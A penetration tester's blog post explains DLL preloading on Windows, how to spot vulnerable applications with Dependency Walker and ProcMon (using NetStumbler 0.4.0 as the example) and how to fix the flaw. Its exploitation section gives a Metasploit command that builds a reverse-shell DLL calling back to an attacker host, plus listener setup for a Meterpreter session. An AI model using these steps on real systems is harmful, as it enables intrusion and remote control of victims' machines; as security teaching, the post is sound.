Testing Applications for DLL Preloading Vulnerabilities

DLL preloading (also known as sideloading and/or hijacking) is a common vulnerability in applications. The exploitation of the vulnerability is a simple file write (or overwrite) and then you have an executable running under the context of the application. The vulnerability is fairly easy to identify and even easier to exploit. In this blog, I will be showing you how identify and exploit DLL preloading vulnerabilities, as well as give you tips on how you can protect yourself from these vulnerabilities.

What is it?

DLL preloading happens when an application looks to call a DLL for execution and an attacker provides a malicious DLL to use instead. If the application is not properly configured, the application will follow a specific search path to locate the DLL. The application initially looks at its current directory (the one where the executable is located) for the DLL. If the DLL is not found in this location, the application will then continue on to the current working directory. This can be very helpful if the malicious DLL can be loaded along with a file, as the file and DLL can be accessed by multiple people on a network share. From there it’s on to the system directory, followed by the Windows directory, finally looking in the PATH environmental variable for the DLL. Properly configured applications will require specific paths and/or proper signatures for DLLs in order to use them. If an attacker has write access to the DLL or a location earlier within the search path, they can potentially cause the application to preload their malicious DLL.

How to identify vulnerable DLLs

Personally, I like to use Dependency Walker for static analysis on all of the DLLs that are called by the application. Note that Dependency Walker will not catch DLLS that are compiled into the application. For a more dynamic approach, you can use ProcMon. ProcMon can be used to identify vulnerable applications by identifying DLLs called during runtime. Using ProcMon for the Net Stumbler program, we can see that the application makes multiple calls to the MFC71ENU.DLL file.

We identify vulnerable DLLs by the locations that they are called from. If the location is controlled by an attacker, the application is potentially vulnerable. Here we can see that NetStumbler (version 0.4.0) is looking for the mfc71enu.dll file in a number of different directories, including the tools directory from which I opened a .ns1 NetStumbler file. This is not a guarantee that the application is vulnerable. The application may use some secondary measures (integrity checks) to prevent DLL tampering, but this is at least a good start for trying to attack the application.

How to exploit it

Once a vulnerable DLL is identified, the attack is fairly simple.

1. Craft your malicious DLL with Metasploit
   1. msfpayload PAYLOAD LHOST=192.168.0.101 LPORT=8443 D > malicious_DLL.dll
      1. PAYLOAD, LHOST, and LPORT are up to you
      2. D denotes that you are creating a DLL payload
   2. Place the replacement DLL in the vulnerable directory and rename it to the name of the vulnerable DLL.
   3. Set up your listener
      1. Run the Metasploit console
      2. msf > use exploit/multi/handler
      3. msf exploit(handler) > set LHOST 127.0.0.1
      4. msf exploit(handler) > set LPORT 8443
      5. msf exploit(handler) > exploit –j
         1. This will start the listener as a job, allowing you to handle multiple ses-sions.
   4. Run the application (or open your file with the DLL in the same folder). Once the applica-tion makes the call to the vulnerable DLL, the Meterpreter payload will execute. If this is done on a network share, this could have a much greater impact.
   5. The Metasploit sessions –l will list out the active sessions and sessions –i (SessionNumber) will let you interact with the session.

For this version of Net Stumbler (0.4.0), the application is vulnerable through the mfc71enu.dll file. Below is an example of a malicious DLL placed in the directory of a Net Stumbler file. When the TestStuble.ns1 file is opened, the application will use the malicious DLL located in the current directory and create a Meterpreter session.

How to fix it or prevent it

DLL preloading can be a helpful attack during a penetration test, but it doesn’t have to be a pain to fix.

For application developers:

• Require set paths for DLLs in applications

For system administrators:

• Disable write permissions to relative application folders
• Utilize least privilege access to prevent users (and applications) from having too much access to the system

For both groups:

• Microsoft has a great article explaining the DLL-related registry keys and how they can be used to protect applications – https://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx

Conclusion

As you can see, DLL preloading is still a common issue with applications. Hopefully this blog can help give you some insight on how the attack works and what you can do to lock down your applications to prevent this issue.

If you want some examples of vulnerable applications, ExploitDB has a great list.

Karl Fosaaen